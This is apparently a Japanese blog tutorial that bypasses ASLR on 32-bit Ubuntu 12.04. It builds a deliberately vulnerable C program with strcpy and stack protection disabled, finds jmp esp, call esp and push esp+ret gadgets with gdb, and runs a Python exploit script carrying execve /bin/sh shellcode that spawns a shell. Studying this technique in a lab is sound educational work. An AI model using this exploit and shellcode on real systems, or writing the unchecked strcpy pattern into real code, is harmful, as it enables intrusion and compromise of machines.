スタックバッファオーバーフローを利用してスタック上のシェルコードにジャンプするには前もってシェルコードが置かれているアドレスを知る必要があるが、ASLRが有効な場合スタック領域のベースアドレスがランダム化されてしまう。 しかしこのような場合でも、アドレス固定かつ実行可能な領域にjmp espに対応するバイト列があれば、一旦これにジャンプすることでeipをスタック上のシェルコードに移すことができる。 ここでは、jmp espに対応するバイト列を利用して、ASLRが有効な条件下でシェルコードを実行してみる。
環境
Ubuntu 12.04 LTS 32bit版
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
jmp espに対応するバイト列を調べてみる
まずは、jmp espに対応するバイト列を調べてみる。 また、jmp espと同じように使えるcall esp、push esp+retについても合わせて調べる。
「アセンブリ命令と機械語の相互変換」で説明した方法を使ってもよいが、ここでは実際にアセンブリコードを書き、これをコンパイル・リンクすることで調べてみる。
/* test.s */ .intel_syntax noprefix .globl _start _start: jmp esp call esp push esp ret
$ gcc -nostdlib test.s $ objdump -d a.out a.out: file format elf32-i386 Disassembly of section .text: 08048098 <_start>: 8048098: ff e4 jmp esp 804809a: ff d4 call esp 804809c: 54 push esp 804809d: c3 ret
それぞれ対応するバイト列がff e4
、ff d4
、54 c3
であることがわかる。
脆弱性のあるプログラムを用意する
次のように、スタックバッファオーバーフローが起こせるコードを書く。
/* bof.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[100]; char cheat[] = "\xff\xe4\xff\xd4\x54\xc3"; strcpy(buf, argv[1]); puts(buf); return 0; }
ここでは全体のコード量が少ないため、cheat変数に欲しいバイト列を入れている。 実際にはコード量の多いプログラムを対象に、欲しいバイト列がないかを探すことになる。
ASLR有効、DEP、SSP無効でコンパイル・リンクし、実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -z execstack bof.c $ ./a.out $(python -c 'print "A"*40') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ ./a.out $(python -c 'print "A"*120') AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped)
スタックバッファオーバーフローが起こせることが確認できた。
jmp espに対応するバイト列を探してみる
gdbを使い、ASLRを無効にした上で実行時のメモリを調べてみる。
$ gdb -q a.out Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done. (gdb) set disable-randomization off (gdb) start Temporary breakpoint 1 at 0x8048417 Starting program: /home/user/tmp/a.out Temporary breakpoint 1, 0x08048417 in main () (gdb) i proc process 2995 cmdline = '/home/user/tmp/a.out' cwd = '/home/user/tmp' exe = '/home/user/tmp/a.out' (gdb) shell cat /proc/2995/maps 08048000-08049000 r-xp 00000000 08:01 2359363 /home/user/tmp/a.out 08049000-0804a000 r-xp 00000000 08:01 2359363 /home/user/tmp/a.out 0804a000-0804b000 rwxp 00001000 08:01 2359363 /home/user/tmp/a.out b75b0000-b75b1000 rwxp 00000000 00:00 0 b75b1000-b7755000 r-xp 00000000 08:01 524330 /lib/i386-linux-gnu/libc-2.15.so b7755000-b7757000 r-xp 001a4000 08:01 524330 /lib/i386-linux-gnu/libc-2.15.so b7757000-b7758000 rwxp 001a6000 08:01 524330 /lib/i386-linux-gnu/libc-2.15.so b7758000-b775b000 rwxp 00000000 00:00 0 b7763000-b7765000 rwxp 00000000 00:00 0 b7765000-b7785000 r-xp 00000000 08:01 524320 /lib/i386-linux-gnu/ld-2.15.so b7785000-b7786000 r-xp 0001f000 08:01 524320 /lib/i386-linux-gnu/ld-2.15.so b7786000-b7787000 rwxp 00020000 08:01 524320 /lib/i386-linux-gnu/ld-2.15.so bf983000-bf9a4000 rwxp 00000000 00:00 0 [stack] (gdb) start The program being debugged has been started already. Start it from the beginning? (y or n) y Temporary breakpoint 2 at 0x8048417 Starting program: /home/user/tmp/a.out Temporary breakpoint 2, 0x08048417 in main () (gdb) i proc process 3000 cmdline = '/home/user/tmp/a.out' cwd = '/home/user/tmp' exe = '/home/user/tmp/a.out' (gdb) shell cat /proc/3000/maps 08048000-08049000 r-xp 00000000 08:01 2359363 /home/user/tmp/a.out 08049000-0804a000 r-xp 00000000 08:01 2359363 /home/user/tmp/a.out 0804a000-0804b000 rwxp 00001000 08:01 2359363 /home/user/tmp/a.out b75c2000-b75c3000 rwxp 00000000 00:00 0 b75c3000-b7767000 r-xp 00000000 08:01 524330 /lib/i386-linux-gnu/libc-2.15.so b7767000-b7769000 r-xp 001a4000 08:01 524330 /lib/i386-linux-gnu/libc-2.15.so b7769000-b776a000 rwxp 001a6000 08:01 524330 /lib/i386-linux-gnu/libc-2.15.so b776a000-b776d000 rwxp 00000000 00:00 0 b7775000-b7777000 rwxp 00000000 00:00 0 b7777000-b7797000 r-xp 00000000 08:01 524320 /lib/i386-linux-gnu/ld-2.15.so b7797000-b7798000 r-xp 0001f000 08:01 524320 /lib/i386-linux-gnu/ld-2.15.so b7798000-b7799000 rwxp 00020000 08:01 524320 /lib/i386-linux-gnu/ld-2.15.so bf83e000-bf85f000 rwxp 00000000 00:00 0 [stack]
ASLRは有効であるがPIEではないため、a.outがマップされている領域のアドレスは固定になっている。 また、DEPが無効であるため、どの領域も実行可能である。
次に、アドレスが固定になっている領域から、先に調べたjmp esp他に対応するバイト列を探してみる。
(gdb) find/b 0x08048000,0x0804b000-1,0xff,0xe4 0x8048421 <main+13> 0x8049421 2 patterns found. (gdb) find/b 0x08048000,0x0804b000-1,0xff,0xd4 0x8048423 <main+15> 0x8049423 2 patterns found. (gdb) find/b 0x08048000,0x0804b000-1,0x54,0xc3 0x804842a <main+22> 0x804942a 2 patterns found. (gdb) x/i 0x8048421 0x8048421 <main+13>: jmp esp
cheat変数に仕込んでおいたバイト列が見つかった。 もちろん実際は、メモリ中に偶然このような並びが存在していないか探すことになる。
エクスプロイトコードを書いてみる
エクスプロイトコードでは、スタックバッファオーバーフローを利用してリターンアドレスの値をjmp espの置かれたアドレスに書き換える。 そしてjmp espが実行されるとき、espはリターンアドレスの一つ下のアドレスを指しているので、ここに続けてシェルコードを置けばよい。 call espではその時点でのeipがスタックに積まれることになるが、それ以外はjmp espと同じように機能する。 また、push espを実行するとその時点でのesp(=リターンアドレスの一つ下のアドレス)がスタック上に積まれるので、さらに続けてretを実行することでそのアドレスにリターンすることができ、この場合もjmp espと同じ動作になる。
上の内容をエクスプロイトコードとして書くと次のようになる。
# exploit.py import sys import struct from subprocess import Popen bufsize = int(sys.argv[1]) shellcode = '\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80' addr_jmpesp = 0x8048421 # (gdb) find/b 0x08048000,0x0804b000-1,0xff,0xe4 addr_callesp = 0x8048423 # (gdb) find/b 0x08048000,0x0804b000-1,0xff,0xd4 addr_pushespret = 0x804842a # (gdb) find/b 0x08048000,0x0804b000-1,0x54,0xc3 buf = 'A' * bufsize buf += 'AAAA' * 3 buf += struct.pack('<I', addr_jmpesp) buf += shellcode with open('buf', 'wb') as f: f.write(buf) p = Popen(['./a.out', buf]) p.wait()
このコードは引数にバッファサイズを取る。 また、すでに説明したようにjmp esp、call esp、push esp+retはどれを使っても同じように機能する。
実際に実行してみる。
$ python exploit.py 100 (snip) ̀ $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ASLRが有効な条件下で、jmp espを経由することによりシェルコードが実行できていることが確認できた。
関連リンク
- Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode | Corelan Team
- Buffer Overflow Exploitation: A real world example « RCE Security
- Buffer Overflow Exploitation: Jump to shellcode via CALL ESP « RCE Security
- Buffer Overflow Exploitation: Jump to shellcode via PUSH ESP, RET « RCE Security
- Writing Basic Buffer Overflow - D4rk357